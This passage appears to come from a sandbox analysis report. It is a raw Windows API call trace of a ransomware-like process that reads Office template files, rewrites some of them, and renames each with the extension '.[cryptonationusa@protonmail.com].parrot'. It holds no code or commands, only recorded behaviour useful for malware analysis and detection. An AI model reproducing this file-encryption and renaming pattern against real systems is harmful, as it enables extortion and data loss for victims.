nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.618] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.618] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cbba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cbba, lpOverlapped=0x0) returned 1 [0241.623] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.634] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.634] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.636] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.636] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1955a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1955a, lpOverlapped=0x0) returned 1 [0241.641] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.653] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.653] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.674] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.674] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cd77, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cd77, lpOverlapped=0x0) returned 1 [0241.692] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.705] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.706] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.707] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.707] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48355, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48355, lpOverlapped=0x0) returned 1 [0241.746] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.768] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.768] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.771] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.771] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x290e7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x290e7, lpOverlapped=0x0) returned 1 [0241.782] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.792] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.792] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.793] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.793] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab82, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xab82, lpOverlapped=0x0) returned 1 [0241.799] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0241.806] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0241.806] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.806] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0241.806] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0241.806] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0241.806] lstrcmpW (lpString1="14", lpString2=".") returned 1 [0241.806] lstrcmpW (lpString1="14", lpString2="..") returned 1 [0241.806] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0241.807] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0241.807] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.807] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0241.807] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0241.807] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0241.807] lstrcmpW (lpString1="Notebook Templates", lpString2=".") returned 1 [0241.807] lstrcmpW (lpString1="Notebook Templates", lpString2="..") returned 1 [0241.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0241.808] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0241.808] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.808] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0241.808] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0241.808] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0241.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.808] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0241.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.810] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0242.016] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.016] WriteFile (in: hFile=0x27c, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0242.020] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.020] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0242.023] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x149216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0242.023] CloseHandle (hObject=0x27c) returned 1 [0242.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\notebook03.onepkg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\notebook03.onepkg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.036] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0242.036] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1c464700, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1c464700, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.037] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c43e5a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x149216, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="NOTEBO~1.PAR")) returned 1 [0242.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0242.038] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0242.038] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.038] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0242.038] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0242.038] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0242.038] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.038] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0242.040] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.040] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dd00, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3dd00, lpOverlapped=0x0) returned 1 [0242.049] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.246] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0242.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b428, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2b428, lpOverlapped=0x0) returned 1 [0242.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\blank.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BLANK.ONE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\blank.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.332] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0242.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e630, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4e630, lpOverlapped=0x0) returned 1 [0242.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\business.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BUSINESS.ONE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\business.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.386] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.386] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0242.387] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.387] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0242.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.444] WriteFile (in: hFile=0x27c, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e604*=0x118, lpOverlapped=0x0) returned 1 [0242.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.448] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e604*=0x100000, lpOverlapped=0x0) returned 1 [0242.452] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x318400, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0242.452] CloseHandle (hObject=0x27c) returned 1 [0242.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.462] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0242.463] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.463] ReadFile (in: hFile=0x27c, 